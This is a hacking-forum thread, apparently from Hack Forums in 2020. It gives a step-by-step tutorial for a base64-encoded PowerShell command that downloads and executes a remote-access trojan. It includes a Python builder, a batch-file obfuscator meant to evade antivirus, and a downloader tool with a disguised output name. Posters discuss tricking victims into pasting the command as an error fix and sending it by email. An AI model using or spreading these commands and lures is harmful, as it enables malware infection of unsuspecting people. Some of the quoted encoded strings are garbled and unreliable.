

Forum:[Hack Forums](#)

Thread: [Simple CMD Spreading Tutorial](#)

TheBrokenWasp - June 2, 2020, 7:40 pm

Hello HF, I have decided to post a quick tutorial here. I will share a simple thing you can do to create a CMD command that will download and execute your RAT, and this can be used for very specific spreading methods and AV evasion tactics.

Step one would be to upload your exe to a hos that provides direct file links. This is surprisingly hard to find for some reason, so I suggest uploading to random hosts that won't ban you, then downloading your own file using Chrome. What you can do then is go to your downloads and see the file you downloaded, and almost always a direct link (or a direct link with GET headers after it that look something like this: ?variable=...) to it in the same section.

After this, decide on a file output name. Usually, this can be almost anything.

Next, you will take the following command and replace the variables:

Code Invoke-WebRequest -Uri [Direct Link to Stub Here] -OutFile [Output File Name Here];
.[Output File Name Here Again]; exit

and an example would be this:

Code Invoke-WebRequest -Uri some.com/random/file.exe -OutFile
TotallyLegitWindowsProcess.exe; .\TotallyLegitWindowsProcess.exe; exit

Now, encode this using Base64 (Hackforums has a handy tool for this [here](#).) My example command would then look like this:

Quote:

SW52b2tlLVdlYlJlcXVlc3QgLVVyaSBzb21lMnNvbS9yYW5kb20vZmlsZS5leGUgLU91dEZpbGUgV
G90YWxseUxlZ2l0V2luZG93c1Byb2Nlc3MuZXhlOyAuXFRvdGFsbHIMZWdpdFdpbmRvd3NQcm9jZ
XNzLmV4ZTsgZXhpdA==

Now, just slap this prefix onto it:

Code powershell -encodedCommand
with my example, it would become this:

Code powershell -encodedCommand
SW52b2tlLVdlYlJlcXVlc3QgLVVyaSBzb21lMnNvbS9yYW5kb20vZmlsZS5leGUgLU91dEZpbGUgV
G90YWxseUxlZ2l0V2luZG93c1Byb2Nlc3MuZXhlOyAuXFRvdGFsbHIMZWdpdFdpbmRvd3NQcm9jZ
XNzLmV4ZTsgZXhpdA==

And you're done! This can now be executed as a CMD command, PowerShell command, batch file, or PowerShell file. Some things you could do with it include social engineering and telling people that it will fix a certain error some app has, or put it into a batch file which you then convert to an exe, effectively making a personal downloader to evade AV!

Using the social engineering aspect, that would mean people don't have to download anything which would maybe decrease suspicion of some. Though I would keep in mind that base64 is just as easily decrypted as it is encrypted, so anybody with minimal computer knowledge could find you out if you go this route.

If you have any problems, questions, or comments, feel free to tell/ask me and I will try to respond.

VisualSoft - June 3, 2020, 10:44 pm

Nice tutorial buddy,

is there any why to select folder where it will download and execute?

Sinistros - June 4, 2020, 1:05 am

(Jun 3, 2020 10:44 PM)VisualSoft Wrote: [\[CITE\]](#) Nice tutorial buddy,
is there any why to select folder where it will download and execute?

I guess you make a cd command before download and execute the file, or I guess you can write the path in the output file name.

VisualSoft - June 4, 2020, 2:42 am

(Jun 4, 2020 01:05 AM)Sinistros Wrote: [\[CITE\]](#) I guess you make a cd command before download and execute the file, or I guess you can write the path in the output file name.

for that we need to know that parameter and that what I asked OP.

Sinistros - June 4, 2020, 3:29 am

(Jun 4, 2020 02:42 AM)VisualSoft Wrote: [\[CITE\]](#) for that we need to know that parameter and that what I asked OP.

I was right just put the path at the output.

<https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/>

VisualSoft - June 4, 2020, 4:06 am

(Jun 4, 2020 03:29 AM)Sinistros Wrote: [\[CITE\]](#) I was right just put the path at the output.

<https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/>

Thanks.

TheBrokenWasp - June 5, 2020, 5:27 pm

(Jun 3, 2020 10:44 PM)VisualSoft Wrote: [\[CITE\]](#) Nice tutorial buddy,
is there any why to select folder where it will download and execute?

Sorry for the late response, but yes, as has been stated before you can just add "cd [location]" to the string of commands, though I would personally find a way to make it go back to the original directory after as it seems a bit fishy otherwise, as the command prompt would point to the new folder.

Edit: just realized what Sinistros said would work, my bad

kakaroto33 - June 5, 2020, 10:13 pm

thats sounds nice, will try it, thanks bro

frankie777 - June 6, 2020, 12:27 am

Really nice tutorial. I know this will come in handy for most users here.

TheBrokenWasp - June 6, 2020, 8:42 am

(Jun 6, 2020 12:27 AM)frankie777 Wrote: [\[CITE\]](#) Really nice tutorial. I know this will come in handy for most users here.

Thanks

Professional - June 6, 2020, 11:40 pm

Threads like these makes HF one of the best forum.....

After all, 'knowledge' is the thing which is most important these days....

Thank you brother for this nice share.....

zelus - June 8, 2020, 5:55 am

I tried it with putty link and it didnt work for me

wonder what i did wrong

Nice one anyways

VisualSoft - June 8, 2020, 5:57 am

(Jun 8, 2020 05:55 AM)zelus Wrote: [\[CITE\]](#) I tried it with putty link and it didnt work for me

wonder what i did wrong

Nice one anyways

if your link was direct download link, then it should work.

TheBrokenWasp - June 8, 2020, 7:08 am

(Jun 8, 2020 05:55 AM)zelus Wrote: [\[CITE\]](#) I tried it with putty link and it didnt work for me

wonder what i did wrong

Nice one anyways

Hmmm... I think you might need to make the encoding urlsafe and using UTF-16-LE. I originally made this as a python builder with a Tkinter UI and this is the lin of encryption:

```
Code def build(link, filename):
    command = "Invoke-WebRequest -Uri '" + link + "' -OutFile '" + filename + "'; .\\" + filename + ";
exit"
    cmd=command
    command = base64.urlsafe_b64encode(cmd.encode("UTF-16-LE"))
    fullcommand = "powershell -encodedCommand " + command.decode() + "\npause"
    with open('command.txt', 'w') as attack:
        attack.write(fullcommand)
        attack.close()
    y.pack()Hope it helps
```

(Jun 8, 2020 05:57 AM)VisualSoft Wrote: [\[CITE\]](#) if your link was direct download link, then it should work.

I'm pretty sure the putty link is a direct download link because it's what I tested with too...

kakaroto33 - June 9, 2020, 8:59 pm

dont work here

<https://prnt.sc/swyauz>

Windows 10 Enterprise x64 PTBR build 2004

TheBrokenWasp - June 9, 2020, 10:10 pm

(Jun 9, 2020 08:59 PM)kakaroto33 Wrote: [\[CITE\]](#) dont work here

<https://prnt.sc/swyauz>

Windows 10 Enterprise x64 PTBR build 2004

Try using UTF-16-LE for the base64 encoding, because it still works fine for me on the same OS and version

HelloWorld.dat - June 10, 2020, 10:48 am

Really basic and nice idea, for the newer bunch. Appreciate this, even though it's pretty straight-forward and easily decodable for anyone with somewhat knowledge.

sNerkerino - June 12, 2020, 12:49 pm

Here is a little Code to obfuscate your .cmd/.bat

If you use it right then the output will be like:

Code

??0????????????????Z?????????
????????????????????

HOW TO USE IT?

- Copy the code inside a Editor
- Save it! "<whatever>.cmd"
- Drag & Drop your File into the "<whatever.cmd>" it will create a new file called "whatever__.cmd"
- Open the whatever__.cmd with Notepad
- You see only Chinese =)
- Profit?!

Code @echo off

```
if "%~1"==" " exit /b
if /i "%~x1" neq ".cmd" exit /b
for /f %%i in ("certutil.exe") do if not exist "%%~$path:i" (
    echo CertUtil.exe not found.
    pause
    exit /b
)
>"temp.~b64" echo(//4mY2xzDQo=
certutil.exe -f -decode "temp.~b64" "%~n1____%~x1"
del "temp.~b64"
copy "%~n1____%~x1" /b + "%~1" /b
Works with all .cmd files.
```

I also try to create a free .cmd Crypter with this when i have the time for it.

I hope it helps you all out. Thank me later =)

&btw sry for my bad english but i think everyone can understand what i mean :D

TheBrokenWasp - June 12, 2020, 3:18 pm

(Jun 12, 2020 12:49 PM)sNerkerino Wrote: [\[CITE\]](#) Here is a little Code to obfuscate your .cmd/.bat

If you use it right then the output will be like:

Code

??0????????????????Z?????????
????????????????????

HOW TO USE IT?

- Copy the code inside a Editor
- Save it! "<whatever>.cmd"
- Drag & Drop your File into the "<whatever.cmd>" it will create a new file called "whatever__.cmd"
- Open the whatever__.cmd with Notepad
- You see only Chinese =)

-Profit?!

```
Code @echo off
if "%~1"==" " exit /b
if /i "%~x1" neq ".cmd" exit /b
for /f %%i in ("certutil.exe") do if not exist "%~$path:i" (
    echo CertUtil.exe not found.
    pause
    exit /b
)
>"temp.~b64" echo(//4mY2xzDQo=
certutil.exe -f -decode "temp.~b64" "%~n1____%~x1"
del "temp.~b64"
copy "%~n1____%~x1" /b + "%~1" /b
Works with all .cmd files.
```

I also try to create a free .cmd Crypter with this when i have the time for it.

I hope it helps you all out. Thank me later =)
&btw sry for my bad english but i think everyone can understand what i mean :D
I'm sorry but I'm confused, where'd you get the Chinese stuff from?

sNerkerino - June 12, 2020, 3:22 pm

I found 2 days before a Microsoft Office registry key Editor and it was obfuscated with this Chinese signs and then i researched how to make it.

I tried many things Out until i got this to work.

I Think this is a next level base64 encryption for cmd.

You can Edit it in your start post if you want

Credits to me would be nice<3

TheBrokenWasp - June 12, 2020, 3:27 pm

(Jun 12, 2020 03:22 PM)sNerkerino Wrote: [\[CITE\]](#) I found 2 days before a Microsoft Office registry key Editor and it was obfuscated with this Chinese signs and then i researched how to make it.

I tried many things Out until i got this to work.

I Think this is a next level base64 encryption for cmd.

You can Edit it in your start post if you want

Credits to me would be nice<3

Thanks for the contribution, but I think people can see your post and then they'll get the information straight from you.

sNerkerino - June 12, 2020, 3:35 pm

The most people only read the first post and doesn't go through all comments^^

I'm working on this to make it easier to use but yeah it's next Level and not so easy to deobfuscate like base64

The first thing that normal users try is google translate but it gives only shittyshit :D

TheBrokenWasp - June 12, 2020, 3:40 pm

(Jun 12, 2020 03:35 PM)sNerkerino Wrote: [\[CITE\]](#) The most people only read the first post and doesn't go through all comments^^

I'm working on this to make it easier to use but yeah it's next Level and not so easy to deobfuscate

like base64

The first thing that normal users try is google translate but it gives only shittyshit :D
Makes sense, but if I'm being honest I still have 0 clues what the fuck you did there, so yeah.

sNerkerino - June 12, 2020, 3:46 pm

Oki. Let me explain.

--- Removed cuz of the "Magic"---

i also made a fud cmd crypter with this using 7zip standalone + random.data

TheBrokenWasp - June 12, 2020, 3:51 pm

(Jun 12, 2020 03:46 PM)sNerkerino Wrote: [\[CITE\]](#) Oki. Let me explain.

open it with a Hex Editor and you see how it works it prepends an ff fe byte order mark (that leads to parse the code as UTF-16 le in a text editor) + cls to remove the error message that cmd.exe will give out.

thats how easy it is^^ But now it's not "magic" anymore

i also made a fud cmd crypter with this using 7zip standalone + random.data

Well, I'm probably just too dumb to understand. If you have a video, that would be dope as this genuinely seems insanely good.

sNerkerino - June 12, 2020, 4:14 pm

I can make a few screenshots for you.

Create the .cmd File with the Code above. In my case Obfuscation.cmd

Copy the Downloader in the same folder as the Obfuscation.cmd - i name the Downloader YourFile.cmd

It should look like this - <https://prnt.sc/syspb3>

Now just take "YourFile.cmd" and go over Obfuscation.cmd - <https://prnt.sc/sysxzn>

(Run YourFile.cmd in Obfuscation.cmd and your Output will be crazy)

If you did this then it should open Obfuscation.cmd with "YourFile.cmd".

It Obfuscate the Code from YourFile.cmd and Generate a new File called "YourFile____.cmd"

<https://prnt.sc/syt0ln>

This is the Output:

<https://prnt.sc/sysrbf>

and now i run the non-Obfuscated & the Obfuscated Output file.

non-Obfuscated

<https://prnt.sc/syss51>

Obfuscated Output file:

<https://prnt.sc/syssnk>

TheBrokenWasp - June 12, 2020, 4:35 pm

(Jun 12, 2020 04:14 PM)sNerkerino Wrote: [\[CITE\]](#) I can make a few screenshots for you.

Create the .cmd File with the Code above. In my case Obfuscation.cmd

Copy the Downloader in the same folder as the Obfuscation.cmd - i name the Downloader YourFile.cmd

It should look like this - <https://prnt.sc/syspb3>

Now just take "YourFile.cmd" and go over Obfuscation.cmd - <https://prnt.sc/sysxzn>

(Run YourFile.cmd in Obfuscation.cmd and your Output will be crazy)

If you did this then it should open Obfuscation.cmd with "YourFile.cmd".

It Obfuscate the Code from YourFile.cmd and Generate a new File called "YourFile____.cmd"

<https://prnt.sc/sysqlp>

This is our Output:

<https://prnt.sc/sysrbf>

and now i run the non-Obfuscated & the Obfuscated Output file.

non-Obfuscated

<https://prnt.sc/syss51>

Obfuscated Output file:

<https://prnt.sc/syssnk>

Still don't quite understand :/

maxlifted - June 12, 2020, 8:33 pm

(Jun 2, 2020 07:40 PM)TheBrokenWasp Wrote: [\[CITE\]](#) Hello HF, I have decided to post a quick tutorial here. I will share a simple thing you can do to create a CMD command that will download and execute your RAT, and this can be used for very specific spreading methods and AV evasion tactics.

Step one would be to upload your exe to a host that provides direct file links. This is surprisingly hard to find for some reason, so I suggest uploading to random hosts that won't ban you, then downloading your own file using Chrome. What you can do then is go to your downloads and see the file you downloaded, and almost always a direct link (or a direct link with GET headers after it that look something like this: ?variable=...) to it in the same section

After this, decide on a file output name. Usually, this can be almost anything.

Next, you will take the following command and replace the variables:

Code Invoke-WebRequest -Uri [Direct Link to Stub Here] -OutFile [Output File Name Here];
.[Output File Name Here Again]; exit

and an example would be this:

Code Invoke-WebRequest -Uri some.com/random/file.exe -OutFile
TotallyLegitWindowsProcess.exe; .\TotallyLegitWindowsProcess.exe; exit

Now, encode this using Base64 (Hackforums has a handy tool for this [here](#).) My example command would then look like this:

Now, just slap this prefix onto it:

Code powershell -encodedCommand

with my example, it would become this:

Code powershell -encodedCommand

SW52b2tlLVdlYlJlcXVlc3QgLVVyaSBzb21lMnVbS9yYW5kb20vZmlsZS5leGUgLU91dEZpbGUgV
G90YWxseUxlZ2l0V2luZG93c1Byb2Nlc3MuZXhlOyAuXFRvdGFsbHIMZWdpdFdpbmRvd3NQcm9jZ
XNzLmV4ZTsgZXhpdA==

And you're done! This can now be executed as a CMD command, PowerShell command, batch file, or PowerShell file. Some things you could do with it include social engineering and telling people that it will fix a certain error some app has, or put it into a batch file which you then convert to an exe, effectively making a personal downloader to evade AV!

Using the social engineering aspect, that would mean people don't have to download anything

which would maybe decrease suspicion of some. Though I would keep in mind that base64 is just as easily decrypted as it is encrypted, so anybody with minimal computer knowledge could find you out if you go this route.

If you have any problems, questions, or comments, feel free to tell/ask me and I will try to respond. Sorry for my questions but do I have to paste this code encodedCommand
SW52b2tlLVdlYlJlcXVlc3QgLVVyaSBzb21lLmNvbS9yYW5kb20vZmlsZS5leGUgLU91dEZpbGUgV
G90YWxseUxIZ2l0V2luZG93c1Byb2Nlc3MuZXhlOyAuXFRvdGFsbHIMZWdpdFdpbmRvd3NQcm9jZ
XNzLmV4ZTsgZXhpda in my email body just like that and when people click on it with will download the rat silently or what please?

Or are mine going to save the code to a batch file and convert it exe?

TheBrokenWasp - June 12, 2020, 8:39 pm

(Jun 12, 2020 08:33 PM)maxlifted Wrote: [\[CITE\]](#) Sorry for my questions but do I have to paste this code encodedCommand
SW52b2tlLVdlYlJlcXVlc3QgLVVyaSBzb21lLmNvbS9yYW5kb20vZmlsZS5leGUgLU91dEZpbGUgV
G90YWxseUxIZ2l0V2luZG93c1Byb2Nlc3MuZXhlOyAuXFRvdGFsbHIMZWdpdFdpbmRvd3NQcm9jZ
XNzLmV4ZTsgZXhpda in my email body just like that and when people click on it with will download the rat silently or what please?

Or are mine going to save the code to a batch file and convert it exe?
They have to run this in their CMD for it to download and execute.

maxlifted - June 13, 2020, 6:42 am

(Jun 12, 2020 08:39 PM)TheBrokenWasp Wrote: [\[CITE\]](#) They have to run this in their CMD for it to download and execute.
Meaning that they have to paste it into cmd prompt and press enter on the keyboard? Then it will download and execute silently Sorry if my question is for newbies. Just need to know. Thank you

TheBrokenWasp - June 13, 2020, 7:25 am

(Jun 13, 2020 06:42 AM)maxlifted Wrote: [\[CITE\]](#) Meaning that they have to paste it into cmd prompt and press enter on the keyboard? Then it will download and execute silently Sorry if my question is for newbies. Just need to know. Thank you
Yes, that is correct.

F.A.S.T - June 13, 2020, 7:47 am

This tool might be of assistance here : <https://github.com/quantumcore/keplerpulse>

Automatically generates a command that will download and execute your Executable.
Code keplerpulse --p https://myfileservers.com/hi.exe --t C:/Users/%USERNAME%/IamNotVirus.exe

TheBrokenWasp - June 13, 2020, 11:25 am

(Jun 13, 2020 07:47 AM)F.A.S.T Wrote: [\[CITE\]](#) This tool might be of assistance here :
<https://github.com/quantumcore/keplerpulse>

Automatically generates a command that will download and execute your Executable.
Code keplerpulse --p https://myfileservers.com/hi.exe --t C:/Users/%USERNAME%/IamNotVirus.exe
I already posted a python function for it in the thread replies, but thanks for the contribution

Roda-Modder - June 26, 2020, 4:16 pm

bro do you have skype?

Thanks

TheBrokenWasp - June 27, 2020, 2:58 am

(Jun 26, 2020 04:16 PM)Roda-Modder Wrote: [\[CITE\]](#) bro do you have skype?

Thanks

I do not, but you can add me on discord if you'd like: TheBrokenWasp#0001

katerinaxd55 - June 30, 2020, 4:17 pm

Nice Method

Thanks

wailingduck - July 11, 2020, 4:03 am

This is a cool tutorial, helped me a lot

scienciums - August 19, 2020, 11:53 am

Thanks for simple but useful tutorial!

DI?E - August 19, 2020, 5:06 pm

So essentially not really CMD but using powershell. Either way nice share. I am already aware of it but should be useful to others.